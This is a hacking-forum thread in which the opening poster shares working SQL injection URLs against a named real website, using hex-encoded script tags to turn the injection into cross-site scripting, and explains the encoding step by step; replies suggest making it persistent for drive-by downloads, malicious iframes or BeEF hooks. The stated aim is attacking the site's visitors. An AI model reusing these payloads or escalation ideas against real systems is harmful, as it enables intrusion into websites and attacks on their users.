Author Topic: Let's add html with SQLi  (Read 1746 times)

0 Members and 1 Guest are viewing this topic.

Offline M1lak0

  • Peasant
  • *
  • Posts: 129
  • Cookies: 10
    • View Profile
Let's add html with SQLi
« on: October 16, 2014, 02:21:28 pm »
Why to add html?
Ok the reason why we do this is to execute xss and drive-by and we can effect the visitors using this..
It increases our attack vactors and its an example of how sqli can carry out attacks to effect the users/visitors..

Here is a way I found to add html with sql injection:

Click on it:
http://old.cageprisoners.com/articles.php?id=-25632 UNION ALL SELECT 1,2,concat(0x3c7363726970743e616c6572742827,version(),0x27293b3c2f7363726970743e) ,4,5,6-- -

It'll popup with the db version :)

Next you can add more tags like <h1></h1> shit and stuff with
http://old.cageprisoners.com/articles.php?id=-25632 UNION%20ALL SELECT 1,2,concat(0x3c68313e4920676f7420746865206461746162617365206261627920697420697320,version%28%29,0x3c2f68313e) ,4,5,6--%20-

convert the tag <script>alert(' into hexa which is:
3c7363726970743e616c6572742827

so 0x3c7363726970743e616c6572742827

next convert the tag ');</script> into hexa which is:
27293b3c2f7363726970743e

so 0x27293b3c2f7363726970743e

we need <script>alert('version()');</script>
so,
concat(0x3c7363726970743e616c6572742827,version(),0x27293b3c2f7363726970743e) is what we will do and check the results..

Further experiemnt:
I tried injecting php codes too but i couldn't and failed..
Injecting php codes could take this attack to a much higher level.
Please share any of your new methods regarding this if you find..

Hexa converter:
http://www.string-functions.com/string-hex.aspx

Hope this was interesting to you.. :)
« Last Edit: October 16, 2014, 03:32:08 pm by M1lak0 »
"Security is just an illusion"

Z3R0

  • Guest
Re: Let's add html with SQLi
« Reply #1 on: October 16, 2014, 02:59:17 pm »
Please take this as constructive criticism, but the way you presented this is absolutely fucking useless. You're not inserting them into columns, or anything that would make them persistent. Nobody is going to click on that long of a url without questioning your intentions. Don't misunderstand me, what you have is good; however, it is completely useless without inserting it into the database.

Additionally, you could have stated *WHY* somebody would want to inject xss over SQL. One example I can think of would be injecting javascript for a drive-by download or client-side exploit/malicious iframe/beef hook. Step your game up son!
« Last Edit: October 16, 2014, 02:59:41 pm by m0rph »

Offline M1lak0

  • Peasant
  • *
  • Posts: 129
  • Cookies: 10
    • View Profile
Let's add html with SQLi
« Reply #2 on: October 16, 2014, 03:23:31 pm »
Ok well thankx.. I made very quickly as I had to switch off my system but wanted one up there in EZ.. Will surely take care about it brother.. :)
Also I the long url is for the purpose so that everybody get the url and understand it..
I don't post any bad url or malwared here.. Its completely for learning purpose..
« Last Edit: October 16, 2014, 03:25:38 pm by M1lak0 »
"Security is just an illusion"

luigi

  • Guest
Re: Let's add html with SQLi
« Reply #3 on: October 19, 2014, 04:28:43 pm »
if you can access database you can simply edit fields adding html, don't you?

Offline r00tcreat0r

  • NULL
  • Posts: 3
  • Cookies: 0
    • View Profile
Re: Let's add html with SQLi
« Reply #4 on: October 30, 2014, 02:40:08 pm »
u should support to find out the database and  draw the table xD instead of turning sql into xss. if u own the page.. u can do other malicious intention attack
« Last Edit: October 30, 2014, 02:43:19 pm by r00tcreat0r »

Offline Nortcele

  • Knight
  • **
  • Posts: 211
  • Cookies: -42
  • █+█=██
    • View Profile
Re: Let's add html with SQLi
« Reply #5 on: October 30, 2014, 03:20:25 pm »
Please take this as constructive criticism, but the way you presented this is absolutely fucking useless. You're not inserting them into columns, or anything that would make them persistent. Nobody is going to click on that long of a url without questioning your intentions. Don't misunderstand me, what you have is good; however, it is completely useless without inserting it into the database.

Additionally, you could have stated *WHY* somebody would want to inject xss over SQL. One example I can think of would be injecting javascript for a drive-by download or client-side exploit/malicious iframe/beef hook. Step your game up son!
~JaySec
~LulzBlog

TAKE A COOKIE!




0100000101010011010000110100100101001001

Offline M1lak0

  • Peasant
  • *
  • Posts: 129
  • Cookies: 10
    • View Profile
Re: Let's add html with SQLi
« Reply #6 on: November 01, 2014, 04:47:02 am »
if you can access database you can simply edit fields adding html, don't you?
Quote from: r00tcreat0r
u should support to find out the database and  draw the table xD instead of turning sql into xss. if u own the page.. u can do other malicious intention attack
Dear, Its not always necessary that you exploit it every time and you get access to the credentials every time, you know if you tried sequel injection.. :)
Here it creates more attack vectors you see.. Think of its advantage rather discouraging..
"Security is just an illusion"

Offline nmeltdown

  • NULL
  • Posts: 3
  • Cookies: 0
    • View Profile
Re: Let's add html with SQLi
« Reply #7 on: November 24, 2014, 07:14:55 pm »
It's nice to know but like they said above, nobody is gonna click on a link that long. But this could be usefull.